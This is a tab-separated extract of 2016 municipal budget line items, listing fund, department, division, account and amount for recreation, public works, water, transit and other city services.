20173	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	525	0	0	0	0	0	0	0	0	0	0	0	525
20174	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
20175	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2016	438	0	0	0	0	0	0	0	0	0	0	0	438
20176	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2016	700	0	0	0	0	0	0	0	0	0	0	0	700
20177	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2016	288	0	0	0	0	0	0	0	0	0	0	0	288
20178	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2016	400	0	0	0	0	0	0	0	0	0	0	0	400
20179	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2016	300	0	0	0	0	0	0	0	0	0	0	0	300
20180	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	129990	0	0	0	0	0	0	0	0	0	0	0	129990
20181	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2016	14911	0	0	0	0	0	0	0	0	0	0	0	14911
20182	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2016	1076	0	0	0	0	0	0	0	0	0	0	0	1076
20183	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2016	150	0	0	0	0	0	0	0	0	0	0	0	150
20184	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2016	1146	0	0	0	0	0	0	0	0	0	0	0	1146
20185	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2016	600	0	0	0	0	0	0	0	0	0	0	0	600
20186	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	1700	0	0	0	0	0	0	0	0	0	0	0	1700
20187	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	4875	0	0	0	0	0	0	0	0	0	0	0	4875
20188	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2016	110	0	0	0	0	0	0	0	0	0	0	0	110
20189	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2016	300	0	0	0	0	0	0	0	0	0	0	0	300
20190	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	406980.0	PBAD ASSESSMENT	622.0	Other	2016	-34313	0	0	0	0	0	0	0	0	0	0	0	-34313
20191	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511748.0	DENTAL	808.0	Salaries and Wages	2016	19950	0	0	0	0	0	0	0	0	0	0	0	19950
20192	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		EAP	808.0	Salaries and Wages	2016	1695	0	0	0	0	0	0	0	0	0	0	0	1695
20193	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2016	646	0	0	0	0	0	0	0	0	0	0	0	646
20194	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	108316	0	0	0	0	0	0	0	0	0	0	0	108316
20195	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2016	728	0	0	0	0	0	0	0	0	0	0	0	728
20196	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2016	600	0	0	0	0	0	0	0	0	0	0	0	600
20197	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2016	2220	0	0	0	0	0	0	0	0	0	0	0	2220
20198	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	1300	0	0	0	0	0	0	0	0	0	0	0	1300
20199	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		MEDICAL-RETIREE	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20200	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	510	0	0	0	0	0	0	0	0	0	0	0	510
20201	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2016	3200	0	0	0	0	0	0	0	0	0	0	0	3200
20202	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2016	2130	0	0	0	0	0	0	0	0	0	0	0	2130
20203	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2016	1464	0	0	0	0	0	0	0	0	0	0	0	1464
20204	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2016	107	0	0	0	0	0	0	0	0	0	0	0	107
20205	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2016	15723	0	0	0	0	0	0	0	0	0	0	0	15723
20206	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522620.0	RENT	808.0	 Supplies and Expenses	2016	111217	0	0	0	0	0	0	0	0	0	0	0	111217
20207	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2016	134	0	0	0	0	0	0	0	0	0	0	0	134
20208	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	560010.0	SCADA O & M	804.0	 Supplies and Expenses	2016	31151	0	0	0	0	0	0	0	0	0	0	0	31151
20209	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		MEDICAL-RETIREE	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20210	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2016	1582	0	0	0	0	0	0	0	0	0	0	0	1582
20211	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	6347	0	0	0	0	0	0	0	0	0	0	0	6347
20212	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2016	3500	0	0	0	0	0	0	0	0	0	0	0	3500
20213	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	65063	0	0	0	0	0	0	0	0	0	0	0	65063
20214	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	24036	0	0	0	0	0	0	0	0	0	0	0	24036
20215	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	1922	0	0	0	0	0	0	0	0	0	0	0	1922
20216	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
20217	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	205289	0	0	0	0	0	0	0	0	0	0	0	205289
20218	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	5170	0	0	0	0	0	0	0	0	0	0	0	5170
20219	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2016	429	0	0	0	0	0	0	0	0	0	0	0	429
20220	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2016	700	0	0	0	0	0	0	0	0	0	0	0	700
20221	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2016	266	0	0	0	0	0	0	0	0	0	0	0	266
20222	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	408000.0	INTERFUND SERVICES-FIN	612.0	Charges for Service	2016	-898083	0	0	0	0	0	0	0	0	0	0	0	-898083
20223	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404081.0	INTEREST - PROP 1B-SECURITY	659.0	Investment Income	2016	-11186	0	0	0	0	0	0	0	0	0	0	0	-11186
20224	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404082.0	INTEREST - PROP 1B-BUSES	659.0	Investment Income	2016	-44742	0	0	0	0	0	0	0	0	0	0	0	-44742
20225	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2016	393560	0	0	0	0	0	0	0	0	0	0	0	393560
20226	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	5801	0	0	0	0	0	0	0	0	0	0	0	5801
20227	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2016	543	0	0	0	0	0	0	0	0	0	0	0	543
20228	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2016	8727	0	0	0	0	0	0	0	0	0	0	0	8727
20229	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	4342	0	0	0	0	0	0	0	0	0	0	0	4342
20230	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522130.0	UTILITIES - WATER	850.0	 Supplies and Expenses	2016	11406	0	0	0	0	0	0	0	0	0	0	0	11406
20231	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	404580.0	BAYSAVER FEES	662.0	Other	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20232	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	405221.0	PYMT-MAIN ST-LIGHTS & SIDEWLK	622.0	Other	2016	50500	0	0	0	0	0	0	0	0	0	0	0	50500
20233	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	101964	0	0	0	0	0	0	0	0	0	0	0	101964
20234	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2016	4700	0	0	0	0	0	0	0	0	0	0	0	4700
20235	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	523000.0	VEHICLE MGMT FUND-MAINTENANCE	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20236	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	239258	0	0	0	0	0	0	0	0	0	0	0	239258
20237	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	3403	0	0	0	0	0	0	0	0	0	0	0	3403
20238	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	242237	0	0	0	0	0	0	0	0	0	0	0	242237
20239	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2016	448	0	0	0	0	0	0	0	0	0	0	0	448
20240	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	50275	0	0	0	0	0	0	0	0	0	0	0	50275
20241	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	1707	0	0	0	0	0	0	0	0	0	0	0	1707
20242	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	9500	0	0	0	0	0	0	0	0	0	0	0	9500
20243	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	578700	0	0	0	0	0	0	0	0	0	0	0	578700
20244	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	52173	0	0	0	0	0	0	0	0	0	0	0	52173
20245	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2016	1809	0	0	0	0	0	0	0	0	0	0	0	1809
20246	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	22357	0	0	0	0	0	0	0	0	0	0	0	22357
20247	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	748	0	0	0	0	0	0	0	0	0	0	0	748
20248	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2016	2000	0	0	0	0	0	0	0	0	0	0	0	2000
20249	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2016	212	0	0	0	0	0	0	0	0	0	0	0	212
20250	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	400	0	0	0	0	0	0	0	0	0	0	0	400
20251	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2016	300	0	0	0	0	0	0	0	0	0	0	0	300
20252	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	578950.0	ADMIN - CON PLAN/ACTION PLAN		 Supplies and Expenses	2016	22600	0	0	0	0	0	0	0	0	0	0	0	22600
20253	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	555210.0	TRAINING	806.0	 Supplies and Expenses	2016	13136	0	0	0	0	0	0	0	0	0	0	0	13136
20254	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2016	1417	0	0	0	0	0	0	0	0	0	0	0	1417
20255	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20256	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570100.0	PEG TRANSFER FROM FUND 04		 Supplies and Expenses	2016	-282394	0	0	0	0	0	0	0	0	0	0	0	-282394
20257	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	2632	0	0	0	0	0	0	0	0	0	0	0	2632
20258	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2016	-764061	0	0	0	0	0	0	0	0	0	0	0	-764061
20259	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402150.0	MORTUARY SERVICES	650.0	Charges for Service	2016	-289557	0	0	0	0	0	0	0	0	0	0	0	-289557
20260	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
20261	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555210.0	TRAINING	810.0	 Supplies and Expenses	2016	12000	0	0	0	0	0	0	0	0	0	0	0	12000
20262	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2016	216	0	0	0	0	0	0	0	0	0	0	0	216
20263	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2016	298	0	0	0	0	0	0	0	0	0	0	0	298
20264	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	520000.0	SUPPLIES AND EXPENSES	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20265	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	64932	0	0	0	0	0	0	0	0	0	0	0	64932
20266	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2016	306	0	0	0	0	0	0	0	0	0	0	0	306
20267	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	3168	0	0	0	0	0	0	0	0	0	0	0	3168
20268	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2016	3595	0	0	0	0	0	0	0	0	0	0	0	3595
20269	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2016	214	0	0	0	0	0	0	0	0	0	0	0	214
20270	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2016	600	0	0	0	0	0	0	0	0	0	0	0	600
20271	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2016	7500	0	0	0	0	0	0	0	0	0	0	0	7500
20272	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	1329	0	0	0	0	0	0	0	0	0	0	0	1329
20273	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
20274	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	3297	0	0	0	0	0	0	0	0	0	0	0	3297
20275	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	1600	0	0	0	0	0	0	0	0	0	0	0	1600
20276	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	810.0	 Supplies and Expenses	2016	78947	0	0	0	0	0	0	0	0	0	0	0	78947
20277	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2016	43119	0	0	0	0	0	0	0	0	0	0	0	43119
20278	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	686874	0	0	0	0	0	0	0	0	0	0	0	686874
20279	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2016	630	0	0	0	0	0	0	0	0	0	0	0	630
20280	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	5310	0	0	0	0	0	0	0	0	0	0	0	5310
20281	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	925	0	0	0	0	0	0	0	0	0	0	0	925
20282	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2016	3222	0	0	0	0	0	0	0	0	0	0	0	3222
20283	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	1660	0	0	0	0	0	0	0	0	0	0	0	1660
20284	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	2050	0	0	0	0	0	0	0	0	0	0	0	2050
20285	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
20286	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2016	1500	0	0	0	0	0	0	0	0	0	0	0	1500
20287	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	54327	0	0	0	0	0	0	0	0	0	0	0	54327
20288	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	152459	0	0	0	0	0	0	0	0	0	0	0	152459
20289	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	5240	0	0	0	0	0	0	0	0	0	0	0	5240
20290	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2016	425	0	0	0	0	0	0	0	0	0	0	0	425
20291	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2016	149	0	0	0	0	0	0	0	0	0	0	0	149
20292	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	2100	0	0	0	0	0	0	0	0	0	0	0	2100
20293	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
20294	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2016	1246	0	0	0	0	0	0	0	0	0	0	0	1246
20295	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2016	21227	0	0	0	0	0	0	0	0	0	0	0	21227
20296	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2016	671	0	0	0	0	0	0	0	0	0	0	0	671
20297	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	22800	0	0	0	0	0	0	0	0	0	0	0	22800
20298	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	1770	0	0	0	0	0	0	0	0	0	0	0	1770
20299	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	563	0	0	0	0	0	0	0	0	0	0	0	563
20300	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	544160.0	RIDESHARE PROGRAM	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20301	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522620.0	RENT	808.0	 Supplies and Expenses	2016	38419	0	0	0	0	0	0	0	0	0	0	0	38419
20302	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400440.0	PARK FILMING LOCATION FEES	612.0	Charges for Service	2016	-50900	0	0	0	0	0	0	0	0	0	0	0	-50900
20303	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407210.0	EVENT PERMIT FEE	612.0	Charges for Service	2016	-8900	0	0	0	0	0	0	0	0	0	0	0	-8900
20304	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570100.0	PEG TRANSFER TO FUND 01		 Supplies and Expenses	2016	282394	0	0	0	0	0	0	0	0	0	0	0	282394
20305	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		DCAP	816.0	Salaries and Wages	2016	1434	0	0	0	0	0	0	0	0	0	0	0	1434
